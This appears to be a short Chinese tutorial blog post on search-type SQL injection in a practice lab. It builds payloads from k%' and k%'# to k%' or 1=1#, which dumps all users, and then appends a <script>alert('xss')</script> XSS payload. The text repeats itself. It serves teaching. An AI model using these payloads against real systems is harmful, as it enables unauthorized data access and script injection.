搜索型注入
输入字符k,搜索
![](https://i-blog.csdnimg.cn/blog_migrate/9a9fed2e50ffbe6ec3db91e1176ecb75.png)
返回了所有含有关键字k的用户。
尝试构建闭合
k%'
![](https://i-blog.csdnimg.cn/blog_migrate/6d272a35c0c6c092646182c1897d1f67.png)
符号#为SQL语法注释,--同义,/**/为多行
k%'#
![](https://i-blog.csdnimg.cn/blog_migrate/6abfe587e4e6663186bc9e73262c798e.png)
猜测后端传参格式就为{'%$insert%'}
查看后端源码
![](https://i-blog.csdnimg.cn/blog_migrate/5bcf760bab7232035e54cccc6270b782.png)
加入万能钥匙
k%' or 1=1#
![](https://i-blog.csdnimg.cn/blog_migrate/f1da842bcb44bf46508811d38d864006.png)
xss彩蛋
将SQL部分闭合完整,写入script语句
k%' or 1=1# <script>alert('xss')</script>
![](https://i-blog.csdnimg.cn/blog_migrate/9688fb45edd97971282919047c53f151.png)
两个漏洞同时利用
![](https://i-blog.csdnimg.cn/blog_migrate/2c949db2b7c6cbb06e9055d35d71b33e.png)
输入字符k,搜索
返回了所有含有关键字k的用户。
尝试构建闭合
k%'
符号#为SQL语法注释,--同义,/**/为多行
k%'#
猜测后端传参格式就为{'%$insert%'}
查看后端源码
加入万能钥匙
k%' or 1=1#
将SQL部分闭合完整,写入script语句
k%' or 1=1# <script>alert('xss')</script>
两个漏洞同时利用